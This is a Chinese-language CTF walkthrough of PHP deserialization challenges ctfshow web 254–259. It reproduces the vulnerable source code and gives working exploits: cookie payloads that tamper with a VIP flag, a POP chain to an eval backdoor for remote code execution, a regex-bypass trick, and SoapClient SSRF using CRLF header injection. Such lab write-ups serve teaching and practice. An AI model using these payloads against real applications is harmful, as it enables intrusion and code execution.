反序列化
1.0序列化與反序列化
序列化:將物件轉化為陣列或者字串形式
反序列化:將字串或陣列轉化成物件格式
php與序列化和反序列化有關的函式
serialize()
將一個物件轉化為一個字串
unserialize()
將一個字串轉化為一個物件
我們使用序列化操作的目的是方便資料傳輸
1.1 漏洞產生原因
在php中存在魔術方法對物件進行一些操作,其他程式語言中也有類似的函式,比如建構函式或者解構函式之類,
如果我們對此類函式利用不當,就會有可能產生反序列化漏洞。
我們看一下serialize函式對物件處理的結果吧
O:8:"demotest":3{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man"'s:3"age";s:2:"29";}
O表示obiect 也就是物件 8表示類名有8個字元組成。後面的字串表示類名 3表示欄位數量,後面的s表示string
型別
1.2 ctfshow web 254
沒啥技術含量,甚至都和反序列化無關,直接閱讀程式碼按程式碼邏輯就能獲得flag
1.3 ctfshow web 255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
和上一題有了一點區別
我們先用serialize函式去輸出一個該類的序列化結果:O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
我們需要注意的是,發現整個檢測程式碼中沒有更改isVip的值的過程,所以我們需要手動對序列化後isVip的值進行
更改,以便透過檢測,具體的更改就是將最後的0改為1
O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}
需要注意的是,我們透過cookie傳遞資料時需要預先進行url編碼,編碼後可以在瀏覽器中寫入cookie,也可也抓
包然後在header中寫入cookie
我們先採用第二種方式來構造payload:
Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
1.4 ctfshow web 256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
和上一題沒什麼區別,只不過是要求username 和password的值不能相等罷了
<?php
class ctfShowUser
{
public $username = '111';
public $password = '222';
public $isVip = true;
public function checkVip()
{
return $this->isVip;
}
public function login($u, $p)
{
return $this->username === $u && $this->password === $p;
}
public function vipOneKeyGetFlag()
{
if ($this->isVip) {
global $flag;
echo "your flag is " . $flag;
} else {
echo "no vip, no flag";
}
}
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
獲得序列化的物件:O:11:"ctfShowUser":3:{s:8:"username";s:3:"111";s:8:"password";s:3:"222";s:5:"isVip";b:1;}
進行url編碼:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
然後在cookie中以user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
的形式傳送資料包即可獲得flag
ctfshow web 257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
和之前的題有了較大的差別,第一時間似乎沒什麼思路,但是我們看見了eval函式,考慮rce,仔細觀察整個代
碼,發現存在一條利用鏈,ctfShowUser類中析構方法可以呼叫class屬性的getInfo()方法,我們讓class屬性變為
一個物件即可呼叫該物件的getInfo()方法,下面兩個類都有getInfo()方法,但我們想要實現rce只能去使用
backDoor類的方法,然後我們更改code值,就可以實現rce。
根據此原理我們可以寫出exp:
<?php
class ctfShowUser
{
private $class;
public function __construct()
{
$this->class = new backDoor();
}
}
class backDoor
{
public $code = "eval(\$_GET['a']);";
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D
獲得獲得序列化後的物件,傳入cookie後在url中傳入username password 和a,前兩者都無所謂,透過控制第三
者,傳入a=system('tac flag.php');從而獲得flag
這裡需要強調的一點:直接給code傳入"$_GET['a']"
是不行的,因為存在$使其會被解析為變數
如果我們進行轉義\$_GET['a']
則在程式碼處遇到第一次eval進行解析,只會單純解析為字串,並不會當成程式碼
去解析,我們在exp這樣傳入eval(\$_GET['a']);
再加上一個eval,使得其對\$_GET['a']
進行二次解析,第
一次將其解析為字串$_GET['a']
,第二次將其作為可執行程式碼進行執行,從而達到程式碼執行的效果。
ctfshow web 258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
本題的過濾進行了加強,對該正規表示式的內容進行了過濾:/[oc]:\d+:/i
- 字元類
[oc]
: 方括號[]
定義了一個字元類,表示匹配其中任何一個字元。這裡的字元類包含兩個字元:o
和c
。因此,這個部分會匹配字串中出現的o
或c
。 - 冒號
:
字元:
在正規表示式中作為一個普通字元出現,直接匹配字串中的冒號。 \d+
:\d
是一個元字元,代表任何十進位制數字(相當於[0-9]
)。+
是一個量詞,表示前面的元素(這裡是\d
)至少出現一次,可以連續出現多次。因此,\d+
會匹配一個或多個連續的數字。
但在php中,對於序列化後的串中都含有字元+:+數字,之前的串就無法順利使用,這時候應該怎麼辦呢?
在php中還有個特性,那就是在序列化後的串,比如O:8:
部分,在數字前加+
不會影響解析,因此本題就有了繞
過方式,即在序列化後的字串中,匹配:加數字的形式,然後在數字前加+進行替換,之後再進行url編碼即可,
其餘部分和上一題一樣
給出exp:
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);
但需要注意,本題類中欄位的訪問修飾符發生變換,由private變為public,如果同一個物件,擁有相同的欄位,
但欄位的訪問修飾符不同,序列化後的結果也會不同,所以本題的exp和之前有區別,這需要注意。
ctfshow web 259
本題目錄下有兩檔案 index.php有:
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php有:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
先對flag.php的一些內容進行解釋,exoloade是一個分割字串的函式,用法為:explode(字元,被分割的字元
串)
, 會將第二個引數傳入的字串以第一個傳入的引數為分割符,分割成好幾部分,然後返回一個儲存分割後
的結果的陣列,HTTP_X_FORWARDED_FOR儲存了從客戶段上傳輸資料過來的一個個代理轉發節點的ip
我們的目的是讓flag.php將flag寫入flag.txt。所以我們就要去繞過其檢測,最關鍵的是繞過
HTTP_X_FORWARDED_FOR的檢測,試著改下HTTP_X_FORWARDED_FOR去訪問,發現不行,應為使用了
Cloudflare,偽造無效,我們再觀察index.php檔案,發現其呼叫了一個不存在的方法getFlag()這時候就可以考慮使
用php原生類進行ssrf了
本題需要用到php原生類,php原生類就是php自帶的類,不需要使用者去定義就能直接使用
我們這裡學習一下這篇部落格:這個
<?php
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));
$client->AAA();
?>
對於內建類SoapClient的建構函式:
第一個引數 :$wsdl
: 必須引數,指定 SOAP 服務的 WSDL(Web Services Description Language,Web 服務
描述語言)文件的 URL。WSDL 檔案定義了服務的介面、操作、資料型別等資訊,使客戶端能夠自動發現並使用
服務提供的功能。如果提供有效的 WSDL 地址,SoapClient
將基於 WSDL 自動構建請求並解析響應。
第二個引數中uri用於指定服務的名稱空間(namespace)或服務的基 URI(base URI)
location用於對其發起請求,利用此引數來進行ssrf操作,訪問flag.php
我們對本地進行9999埠監聽,檢視一下header:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
我們可以透過控制user-agent來構造post資料
我們再進一步
<?php
$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
看一下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因為本地沒加函式
Content-Type:application/x-www-form-urlencoded
Content-Length: 13
token=ctfshow//長度13 下面的丟棄
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372
符合預期,然後我們只需要序列化然後將構造的物件傳入即可